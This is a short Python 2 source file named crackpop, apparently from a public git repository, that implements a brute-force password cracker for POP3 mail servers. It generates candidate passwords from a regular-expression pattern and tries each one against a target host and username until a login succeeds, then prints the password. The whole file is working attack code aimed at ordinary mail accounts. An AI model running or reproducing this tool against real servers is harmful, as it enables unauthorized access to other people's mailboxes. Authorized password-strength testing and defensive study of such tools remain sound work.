3c7d0f7c506ba0786017fd6f594a9b3f137dba1d
[crackpop.git] / crackpop.py
1 #!/usr/bin/env python
2 #
3 # crackpop - a pattern-generated-dictionary pop3 password cracker
4 #
5 # Copyright (C) 2013  Antonio Ospite <ospite@studenti.unina.it>
6 #
7 # This program is free software: you can redistribute it and/or modify
8 # it under the terms of the GNU General Public License as published by
9 # the Free Software Foundation, either version 3 of the License, or
10 # (at your option) any later version.
11 #
12 # This program is distributed in the hope that it will be useful,
13 # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
15 # GNU General Public License for more details.
16 #
17 # You should have received a copy of the GNU General Public License
18 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
19
20 import argparse
21 import exrex
22 import poplib
23
24 __description = "crackpop is a pattern-generated-dictionary pop3 password cracker"
25 __version = "0.1"
26 __author_info = "Antonio Ospite"
27
28
29 def generate_passwords(password_pattern, dry_run=False):
30     passwords = list(exrex.generate(password_pattern))
31
32     if dry_run:
33         print "Generated %d passwords." % len(passwords)
34         for p in passwords:
35             print p
36         return []
37
38     return passwords
39
40
41 def crackpop(host, port, user, passwords):
42     print "Testing %d passwords." % len(passwords)
43     for p in passwords:
44         # TODO maybe the same connection can be reused for more than one try,
45         # but some logic needs to be added to detect the maximum allowed
46         # authentication attempts or a disconnection from the server.
47         pop3 = poplib.POP3(host, port)
48         try:
49             pop3.user(user)
50             pop3.pass_(p)
51         except Exception, e:
52             print e.message, "(password: %s)" % p
53             del pop3
54             continue
55         else:
56             print "Found! (password: %s)" % p
57             break
58
59
60 def option_parser():
61     usage = "usage: %(prog)s [options]"
62
63     parser = argparse.ArgumentParser(
64         usage=usage,
65         description=__description,
66         epilog=__author_info,
67         version='%(prog)s ' + __version)
68
69     parser.add_argument(
70         '-H', '--host',  metavar="<host>",
71         dest='host', required=True,
72         help='the host where the pop3 server is')
73
74     parser.add_argument(
75         '-P', '--port', metavar="<port>",
76         dest='port', default=110,
77         help='the port the pop3 server is listening on')
78
79     parser.add_argument(
80         '-u', '--user', metavar="<user>",
81         dest='user', required=True,
82         help='username of the pop3 account')
83
84     parser.add_argument(
85         '-p', '--pattern', metavar="<password_pattern>",
86         dest='password_pattern', required=True,
87         help='the regular expression describing the pattern of the password')
88
89     parser.add_argument(
90         '-d', '--dry-run',
91         dest='dry_run', action='store_const', const=True,
92         help='only print out the passwords, do not connect to the pop3 server')
93
94     return parser
95
96
97 if __name__ == "__main__":
98     parser = option_parser()
99     args = parser.parse_args()
100
101     passwords = generate_passwords(args.password_pattern, args.dry_run)
102     crackpop(args.host, args.port, args.user, passwords)